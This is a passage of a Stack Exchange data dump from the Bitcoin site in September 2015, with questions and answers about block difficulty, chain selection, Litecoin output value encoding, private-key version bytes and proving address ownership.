  <row Id="40399" PostTypeId="1" CreationDate="2015-09-05T03:26:43.833" Score="2" ViewCount="1478" Body="&lt;p&gt;In this answer: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/760/28219&quot;&gt;https://bitcoin.stackexchange.com/a/760/28219&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because of all this work, when a Bitcoin client signs on to the&#xA;  network it can trust the block chain that was most difficult to&#xA;  produce (since this is &lt;strong&gt;evidently&lt;/strong&gt; the one that was being worked on by&#xA;  the most miners).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is nothing evident there :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain how can a block be more difficult to solve than another one? Does it have to do with the number of transactions it contains?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-09-08T16:49:48.337" Title="How can a block be considered more difficult to solve/hash than another one?" Tags="|blockchain|block|proof-of-work|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40400" PostTypeId="2" ParentId="40397" CreationDate="2015-09-05T04:36:01.847" Score="0" Body="&lt;p&gt;Are you asking how to decode the JSON? Unless I'm missing something, that would just be &lt;code&gt;json_decode($response)['data']['forwarding_address']&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-05T04:36:01.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40401" PostTypeId="2" ParentId="40398" CreationDate="2015-09-05T04:42:29.627" Score="1" Body="&lt;p&gt;Under the current system, miners never wait. Transaction fees are too small of a part of the total block reward for people to bother with that.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-05T04:42:29.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40402" PostTypeId="2" ParentId="40398" CreationDate="2015-09-05T05:35:59.413" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am confused about whether a miner chooses to wait for more transactions (more fees) or starts as soon as it receives the first transaction from the network. Once a miner has started calculating the hashes, it will queue the new transactions, correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, they can begin mining as soon as they see the previous, and update the block template with new transactions they see whenever they would like. The early Satoshi client updated the template every few seconds, modern miners seem to do it every half a minute or longer depending on the software. There's no advantage for them to update the block template other than that they might get more fees if they do, if they miss transactions there's no real harm done. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I am lucky to find the solution for a block with just one transaction, but someone else finds the solution for a block with my transaction and one more, so he wins, correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, this isn't correct, no miners break ties with the number of transactions in a block. First seen is generally going to be the behavior most people use if they can see two competing blocks at an equal height with an equal difficulty target. If they did tie break with the number of transactions then miners could make blocks stuffed with their own fake ones and always win any races.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So the more transactions there are in a block the more difficult it is to solve the hashing puzzle, is that correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the header of a block is always 80 bytes long irrespective of the number of transactions the block actually contains. This is because the block header only includes a hash of the transactions, rather than the transaction contents themselves. The difficulty is the same for a block with no transactions other than the one paying the miner or a block with thousands. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can someone clarify how this transaction grouping is done by mining nodes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hard to answer this because most pools run completely custom software, they have their own criteria and their own optimizations which they perform. Generally they will collect all valid transactions which have the fee they want to accept, and assemble them into a block of the maximum size they wish to create, any which are not included are left in the memory pool for later or for someone else to mine. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-09-05T09:25:25.073" LastActivityDate="2015-09-05T09:25:25.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40403" PostTypeId="2" ParentId="40399" CreationDate="2015-09-05T06:07:22.977" Score="3" Body="&lt;p&gt;Block difficulty is determined only by the sum speed of miners working on that chain particular chain, kept track of by evaluating the the spacing of the timestamps of blocks in a 2 week period. It's worthwhile to think about the block chain as a tree that just happens to have a very strong main branch, where branches are weighed by how much work went into creating them rather than their length.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;                                                           &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           +---&amp;gt; 9 +---&amp;gt; 9 &#xA;9 +----&amp;gt; 9 |  &#xA;           +---&amp;gt; 1 +---&amp;gt; 1 +---&amp;gt; 1 +---&amp;gt; 1 +---&amp;gt; 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;            &lt;br&gt;&#xA;Here we have two competing tips of the chain, one with a cumulative difficulty of 36 (9+9+9+9, and one with a cumulative difficulty of 25 (9+9+1+1+1+1+1). Although the top section of the fork has less blocks, it has a higher difficulty than the bottom fork and so is regarded as the current &quot;best&quot; side of the chain. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-05T06:07:22.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40404" PostTypeId="1" AcceptedAnswerId="40415" CreationDate="2015-09-05T08:12:34.180" Score="1" ViewCount="182" Body="&lt;p&gt;Feeling a little silly here, I can decode the entire rest of the data in the blockchain, but the &quot;value&quot; field of a transaction output makes no sense.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0,-14,5,42,1,0,0,0] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This decodes to &quot;50.00000000&quot; but I can't see how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remainder of the block decodes correctly, so I am fairly sure I'm looking at the right data. It doesnt seem to be in the same format as the bitcoin value (/10^8)&lt;/p&gt;&#xA;" OwnerUserId="20809" LastActivityDate="2015-09-05T22:13:18.623" Title="What is the format of the value of a transaction in the litecoin ledger" Tags="|litecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40411" PostTypeId="1" AcceptedAnswerId="40435" CreationDate="2015-09-05T16:50:50.670" Score="3" ViewCount="3330" Body="&lt;p&gt;I tried to read it here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Difficulty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is closer to a rigorous math proof than to an explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested to understand that so I can understand what makes a block or a block chain more difficult than another. It is said that when a bitcoin client starts it chooses the &lt;strong&gt;most difficult&lt;/strong&gt; block chain it sees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a smart mind explain that in simple terms?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2021-11-13T20:35:36.823" Title="Can a smart mind explain block difficulty calculation in lay terms?" Tags="|blockchain|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40412" PostTypeId="2" ParentId="13034" CreationDate="2015-09-05T17:05:53.930" Score="1" Body="&lt;p&gt;Though it is an old question, I stumbled upon a great solution recently. Especially when brainwallet is now gone, I thought of updating it here. They call it &lt;strong&gt;Hashmal&lt;/strong&gt;. Hashmal is an IDE for Bitcoin transaction scripts. Its purpose is to make it easier to write, evaluate, and learn about transaction scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Github: &lt;a href=&quot;https://github.com/mazaclub/hashmal&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mazaclub/hashmal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinTalk: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1168604.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1168604.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. If someone has any fork of the brainwallet Github repo, please post it in the comment.&lt;/p&gt;&#xA;" OwnerUserId="11722" LastActivityDate="2015-09-05T17:05:53.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40413" PostTypeId="2" ParentId="40380" CreationDate="2015-09-05T18:33:21.883" Score="2" Body="&lt;p&gt;Things to prove:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ownership&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address A belongs to Person 1&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Person 1 controls the private key allowing spending from Address A&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Address B belongs to Person 2&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Person 2 controls the private key allowing spending from Address B&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Transaction T transferring an amount from Address A to Address B&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;occurred&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;was transmitted&lt;/li&gt;&#xA;&lt;li&gt;was accepted&lt;/li&gt;&#xA;&lt;li&gt;was confirmed&lt;/li&gt;&#xA;&lt;li&gt;was included in a block&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the block is a part of the longest chain, &lt;em&gt;the&lt;/em&gt; blockchain.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Proving ownership of an address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ownership is significantly easier to prove, provided that &lt;strong&gt;judge&lt;/strong&gt; (to whom all this is proven), accepts either: &lt;em&gt;economic activity&lt;/em&gt; or &lt;em&gt;digital signature&lt;/em&gt; as proof of control of a private key.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Economic activity&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there is time and/or value cost to proving economic activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The judge could &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;ask each prover to reproduce the transaction at a given time, but at a negligible amount: 1 satoshi plus a sufficient transaction fee. That the original transaction could be reproduced with only the amount changing, and a reverse of the transaction executed as well, should suffice to demonstrate that each Person controls the private key sufficiently to engage in economic activity.&lt;/li&gt;&#xA;&lt;li&gt;ask each prover to send 2 satoshi plus double the sufficient transaction fee to the same address: an address supplied by the judge, who then returns half of what was sent to demonstrate their own control of the address to which the 2 satoshi transaction was sent. This demonstrates that Person 1, Person 2, and the judge all control the addresses they say they do sufficient to engage in economic activity.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The costs of either of these are obvious, but generally sufficiently negligible as not to be a significant burden on any party involved. The transaction fees could be omitted, provided the transferred amount is sufficiently large to be both processed without transaction fee &lt;em&gt;and&lt;/em&gt; trusted to be returned by the recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trust of these transactions could be increased by the judge assigning a random two-digit amount of satoshis to each transaction, or basing that random amount on an agreed-upon, yet-to-happen event with an expected time period within which the proving transactions must be transmitted to the judge. An example of a yet-to-happen event would be a newspaper headline or simply the leftmost two numbers in the 10th oldest block at a certain date and time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another, more convoluted yet more humanly trustworthy way would be for the judge to provide a private key to each prover. The prover then transmits an amount to an address controllable by that private key, then immediately returns that same amount using the provided private key. The judge has temporary control, though, so trust in the judge is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is infeasible if the parties are unable to broadcast the transactions to the network or the time necessary for transaction confirmation is too long.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Digital signatures&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If the judge is familiar with how digital signatures work, or can be convinced of their validity, then this is an option. Some effort might be worth it, as this option is without economic expenditure and does not require the time necessary for the proving transactions described above to be confirmed by the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The judge provides a unique text to each prover. This phrase can be something sensible or randomly generated. Random is probably better, largely because it would take less time to generate. Alternatively, basing that text on an agreed-upon, yet-to-happen event with an expected time period within which the signature must be transmitted to the judge. An example of a yet-to-happen event would be a newspaper headline or simply the leftmost two numbers in the 10th oldest block at a certain date and time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signatures should be sent among all parties, so that all adversarial parties can verify the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the point of this exercise is to demonstrate control of the private key. A downside of this is that not all wallet softwares support signing data, most commonly because the private keys backing the wallet are not exposed to the user in anyway except for the purposes of signing transactions. If a prover claims that their software does not have this functionality, this method is infeasible. The prover could be convinced to use another software, but that could compromise their position if they could be tricked into using malicious software, if a false positive proof of control is undesirable.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;A combination of the two&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Each of these methods has strengths and weaknesses, so a combination of the two would likely provide the most confidence proving control of a private key, and thus control of an address.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Proving that a transaction occurred&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The easiest way for a judge to verify that any given transaction occurred is to use a trusted blockchain explorer program, since few wallet programs expose functionality enabling the user to search the blockchain by address, transaction, or block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The judge can use the explorer verify the activity of each address in question, as well as the transaction itself. It is up to the judge to verify that the transaction has been a part of the longest chain for a permissible number of blocks. One block depth is sufficiently secure against most attacks that would cancel the transaction, but each additional block depth further solidifies the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not necessarily require network connectivity if the transaction occurred sufficiently far in the past that the judge's own copy of the blockchain can be explored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the judge does not have access to a copy of the blockchain, the desired proof cannot be surely obtained. Given the raw transaction, the judge can use the digital signature method to verify that Person 1 has control of Address A, as the raw transaction will contain a verifiable signature. However, the raw transaction itself contains nothing that would enable to the judge to verify Person 2's control of Address B.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2015-09-05T18:33:21.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40414" PostTypeId="2" ParentId="40411" CreationDate="2015-09-05T20:24:58.817" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am interested to understand that so I can understand what makes a block or a block chain more difficult than another. It is said that when a bitcoin client starts it chooses the most difficult block chain it sees.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In order to mine a block, one needs to attach work to the block header. If too many blocks are created, the requirement for work is increased, meaning the difficulty increases. When two chains are compared, the difficulty of each block is totaled up, and the chain with a higher score wins.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-05T20:24:58.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40415" PostTypeId="2" ParentId="40404" CreationDate="2015-09-05T22:07:03.840" Score="0" Body="&lt;p&gt;The transaction format was never altered in the clone Tenebrix or its clone Litecoin. The bytes you have posted are correct, and do indeed decode to 50 BTC when read out as an unsigned, little endian, 64 bit integer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~&amp;gt; python&#xA;&amp;gt;&amp;gt;&amp;gt; import struct&#xA;&amp;gt;&amp;gt;&amp;gt; struct.unpack(&quot;&amp;lt;q&quot;,&quot;\x00\xF2\x05\x2A\x01\x00\x00\x00&quot;)[0]&#xA;5000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-09-05T22:13:18.623" LastActivityDate="2015-09-05T22:13:18.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40416" PostTypeId="2" ParentId="25153" CreationDate="2015-09-05T23:29:06.027" Score="1" Body="&lt;p&gt;All the API's you've mentioned are reliable in the sense that they have very good uptime availability and have excellently calculated rates &lt;em&gt;for their domains.&lt;/em&gt; You have to know why you need a particular rate. The data comes from independent exchanges and various algorithmic meshes of exchange data. But if you need to make the trade yourself, you want to know the likelihood you'll be able to buy or sell at any given price at the time of the rate quote. For this reason, you should pick an API that is relevant directly to where you exchange your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may seem nitpicky, but Bitcoin is a relatively small market, so a market price is a lot more difficult to determine with accuracy. Even the international foreign exchange market cannot guarantee a magic price you will settle at because fees and delivery mechanisms vary infinitely.&lt;/p&gt;&#xA;" OwnerUserId="22902" LastActivityDate="2015-09-05T23:29:06.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40421" PostTypeId="1" CreationDate="2015-09-06T09:56:21.330" Score="-1" ViewCount="2986" Body="&lt;p&gt;Java is sooooooo much easier than C++. Wondering why in 2008 people decided to go with C++ instead. Was it because Satoshi only knew C++?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to compliment this question, is there a noticeable cryptocurrency implemented in java &lt;strong&gt;from scratch&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2015-09-06T20:55:27.680" Title="Wouldn't it be better to have used Java for Bitcoin Core? Is there a good cryptocurrency that went with Java from scratch?" Tags="|java|satoshi-nakamoto|" AnswerCount="1" CommentCount="2" ClosedDate="2015-09-15T13:09:10.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="40422" PostTypeId="1" AcceptedAnswerId="40423" CreationDate="2015-09-06T15:20:44.147" Score="2" ViewCount="837" Body="&lt;p&gt;After reviewing the &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;address prefixes page&lt;/a&gt; on the wiki, I have noticed that in Bitcoin and other altcoins that the secret key / dumped private key header is always the decimal version + 128. So with a decimal version of 0 you will get a regular Bitcoin address starting with 1, while adding 128 to that you can find the private key which starts with 5 / L / K depending on the compression state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further example would be Litecoin's decimal version which is 48 while the secret key version is 48 + 128 (176).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is: what about decimal versions between 128 and 255? I can see this going one of two ways.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead of adding 128, you subtract 128. So for decimal version 128 you will end up with a secret key of 0.&lt;/li&gt;&#xA;&lt;li&gt;You round up to 255 in all cases of 128 and over.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I looked through the wiki and I couldn't find a reason as to why the secret key header is 128 greater than the public key header. One example that contradicts my two points above would be &lt;a href=&quot;http://unobtanium.uno/&quot; rel=&quot;nofollow&quot;&gt;Unobtanium Coin&lt;/a&gt; whose public key header is &lt;a href=&quot;https://github.com/unobtanium-official/Unobtanium/blob/master/src/chainparams.cpp#L171&quot; rel=&quot;nofollow&quot;&gt;130&lt;/a&gt; while the secret key is &lt;a href=&quot;https://github.com/unobtanium-official/Unobtanium/blob/master/src/chainparams.cpp#L173&quot; rel=&quot;nofollow&quot;&gt;224&lt;/a&gt; (94 difference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any point at all for the secret key and public key headers being so far apart? Or is it fine to just have the headers be different in the first place, not necessarily 128 apart?&lt;/p&gt;&#xA;" OwnerUserId="13388" LastActivityDate="2015-09-06T15:51:40.993" Title="Secret Key value for decimal versions over 127" Tags="|address|private-key|public-key|base58|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40423" PostTypeId="2" ParentId="40422" CreationDate="2015-09-06T15:42:11.267" Score="2" Body="&lt;p&gt;The reason is historical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'version' byte was originally really just a version number. Satoshi probably intended to introduce more types of standard scripts to addresses. There were comments in the code about upgrading an address from one version to a new one even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that vision, to not restrict the options for future versions, I chose to make the private key just set the highest bit, leaving still 127 possible future versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only one new version was ever introduced (P2SH), and since it is so powerful (it can encode any script indirectly), no other versions ever appeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the short answer is: it does not matter at all.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-09-06T15:51:40.993" LastActivityDate="2015-09-06T15:51:40.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40425" PostTypeId="1" CreationDate="2015-09-06T18:35:32.523" Score="0" ViewCount="1417" Body="&lt;p&gt;I know that transacion fees on low-priority transactions adds additional cost, but what if an attacker uses a lot of 0.100001 BTC transactions, so he doesn't have to pay the fee, because transactions are greater than 0.01 btc, and wouldn't be considered low-priority. There wouldn't be any loosing of money, because there are no transacion fees to be paid. Only huge investment. What would be the amount of bitcoins needed for that?&lt;/p&gt;&#xA;" OwnerUserId="19079" LastActivityDate="2019-02-14T04:30:39.470" Title="What prevents an attacker from doing DDOS on bitcoin network by sending billions of transaction to himself?" Tags="|attack|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40426" PostTypeId="1" CreationDate="2015-09-06T18:58:32.783" Score="1" ViewCount="62" Body="&lt;p&gt;I am looking into static analysis, and I'd like to know what to expect in the case of Bitcoin's main implementation, Bitcoin-Core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, if I try static analysis on &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin&lt;/a&gt;, I will know whether I've done it properly (e.g. I get something other than &quot;Yay, everything's fine!&quot; or &quot;Boo, all is broken!&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be much out there beyond &lt;code&gt;make check&lt;/code&gt; and &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues?utf8=%E2%9C%93&amp;amp;q=is%3Aissue%20is%3Aopen%20%22static%20analysis%22&quot; rel=&quot;nofollow&quot;&gt;some Github issues&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could maybe stand some more independent research, but I want to check whether &lt;em&gt;somebody&lt;/em&gt; out there knows this &lt;em&gt;already&lt;/em&gt; (and is willing to subject themselves to the vagaries of the stackexchange communities enough to answer it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are the current known static analysis issues with Bitcoin core, if any?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="18602" LastEditorUserId="3697" LastEditDate="2015-09-07T15:12:09.460" LastActivityDate="2015-09-07T15:12:09.460" Title="Where does the current Bitcoin Core currently fail static analysis, if at all?" Tags="|bitcoin-core|client|compiling|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40427" PostTypeId="2" ParentId="37139" CreationDate="2015-09-06T20:35:02.610" Score="1" Body="&lt;p&gt;I haven't done this but couldn't you run a manual transaction script that runs like a chron script weekly with a wallet and a preset amount of addresses?  it would have to keep its own internal balance and from there would have to calculate the balance.  I guess that answered your question - there is currently no out the box wallet or service that does this.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2015-09-06T20:35:02.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40428" PostTypeId="2" ParentId="40421" CreationDate="2015-09-06T20:55:27.680" Score="3" Body="&lt;p&gt;There is at least one &lt;a href=&quot;https://bitcoinj.github.io/&quot; rel=&quot;nofollow&quot;&gt;bitcoin implementation in Java&lt;/a&gt;. Not everybody &quot;decided to go with C++&quot;, and the choice of implementation language has no bearing on the underlying network protocol. Anybody is free to implement the bitcoin algorithm in any programming language they choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speculating on which programming languages Satoshi did or did not know is pointless, because it is generally agreed that he is a fictional persona.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2015-09-06T20:55:27.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40429" PostTypeId="2" ParentId="40387" CreationDate="2015-09-06T22:26:05.350" Score="3" Body="&lt;p&gt;The double-spending problem had been unsolved in decentralized protocols for decades. It seems unlikely that a second (different) solution would suddenly materialize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It never was a problem in centralized setups, where the central entity would provide a referee function.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-09-06T22:26:05.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40432" PostTypeId="1" CreationDate="2015-09-07T02:40:14.340" Score="5" ViewCount="108" Body="&lt;p&gt;We are a start up company going to open an online shopping website. Our CEO wants to incorporate Bitcoin as our payment method. How can we set up a Bitcoin network?&lt;/p&gt;&#xA;" OwnerUserId="29276" LastEditorUserId="5406" LastEditDate="2018-06-22T16:54:06.563" LastActivityDate="2018-06-22T16:54:06.563" Title="Using bitcoin in a startup company" Tags="|payment-processors|website-integration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40433" PostTypeId="1" CreationDate="2015-09-07T03:56:46.480" Score="-2" ViewCount="14304" Body="&lt;p&gt;Our computers has very less power when we compare it to the difficulty level of mining and it's very hard to get one bit coin. But to overcome the second issue there are &quot;pools&quot;. But still the first issue remains the same. The ordinary desktop computers doesn't perform in a good manner relative to &quot;performance/costs spent for the hardware&quot;. But, Google has a variety of cloud computing services such as &quot;compute&quot; &quot;bigdata&quot; etc. Can we use those services to mine bit coins in a profitable manner? if not provide reasons. and what kind of gross profitability will be there if I use their services?. Or if there are any other paid virtual machines we can hire to get a decent profits? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any people(not billionaires, who invest in billions on hardware but people who can invest fairly decent amount of money for servers etc)  earn a gross profit and what their methods are to earn such profit   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, I don't want to order specified hardware because when they arrive home, they will only be used as a room heater (eg: Butterflylabs). Furthermore, the recovery period of capital spend to buy those hardware is very long time, but within very short time, the bought hardware would be obsolete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to invest and make a fixed income without doing a job.&lt;/p&gt;&#xA;" OwnerUserId="29277" LastEditorUserId="18196" LastEditDate="2016-03-06T19:38:46.457" LastActivityDate="2016-03-06T19:38:46.457" Title="Can we use google cloud service as a virtual server to mine bitcoins and is there any profitability of using their service?" Tags="|bitcoind|mining-profitability|" AnswerCount="3" CommentCount="3" ClosedDate="2015-12-21T20:34:46.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="40435" PostTypeId="2" ParentId="40411" CreationDate="2015-09-07T10:38:36.223" Score="4" Body="&lt;h2&gt;Block weight derives from difficulty&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The difficulty encodes how likely one try is at producing a valid block. Let's say the difficulty starts out at 1%, i.e. one try in one hundred should succeed and we'll call this a difficulty of 100.&lt;br&gt;&#xA;With a 1% chance of success, you could succeed with your first try, but it could also take you 200 tries. However, it wasn't harder or easier to succeed because you were lucky or unlucky! So, however many tries actually took place until the block was found, the block will have a weight of &quot;100 difficulty&quot; when it is found.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How does Difficulty change?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Obviously, when people add more computing power to the network, more tries per second will be performed. Since each try has a chance of succeeding (e.g. 1% from above), more computing power will cause a block to be found quicker. This is still a probabilistic process, so sometimes it might be slower than the previous average time, but the new average time will be lower.&lt;br&gt;&#xA;If nothing were done about it, the blocks would just get faster and faster, as more mining power gets added to the network.&lt;br&gt;&#xA;Therefore, difficulty will readjust automatically every 2016 blocks, that is approx. 14 days at 10 minutes per block. To that end, we calculate:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How long did it take to find those last 2016 blocks?&lt;/li&gt;&#xA;&lt;li&gt;If the total time was shorter than the aim of 14 days, the difficulty increases. If it was slower, the difficulty decreases.&lt;/li&gt;&#xA;&lt;li&gt;The new difficulty is set such that the next 2016 blocks should take 14 days, if the mining power stays the same as the last 14 days.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let's say, it took only 7 days to find 2016 blocks. The difficulty now doubles to 200.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How do two blockchain tips compare in &quot;length&quot;?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's say we have two competing blockchain tips: They both start from &lt;strong&gt;Block 1&lt;/strong&gt; as a parent, but then there are two different blocks found at the same time: &lt;strong&gt;Block 2A&lt;/strong&gt; and &lt;strong&gt;Block 2B&lt;/strong&gt;. Both blocks have the same difficulty level, and as we learned above this is independent of when exactly they were found. Therefore, the total difficulty of chain A and B will be the same, as &lt;strong&gt;Block 1 + Block 2A&lt;/strong&gt; = &lt;strong&gt;Block 1 + Block 2B&lt;/strong&gt;. One of the two chains will have a greater total difficulty once either &lt;strong&gt;Block 3A&lt;/strong&gt; or &lt;strong&gt;Block 3B&lt;/strong&gt; will be found. Since in general blocks at the same height have the same difficulty statement, the total difficulty of two chains at the same height is the 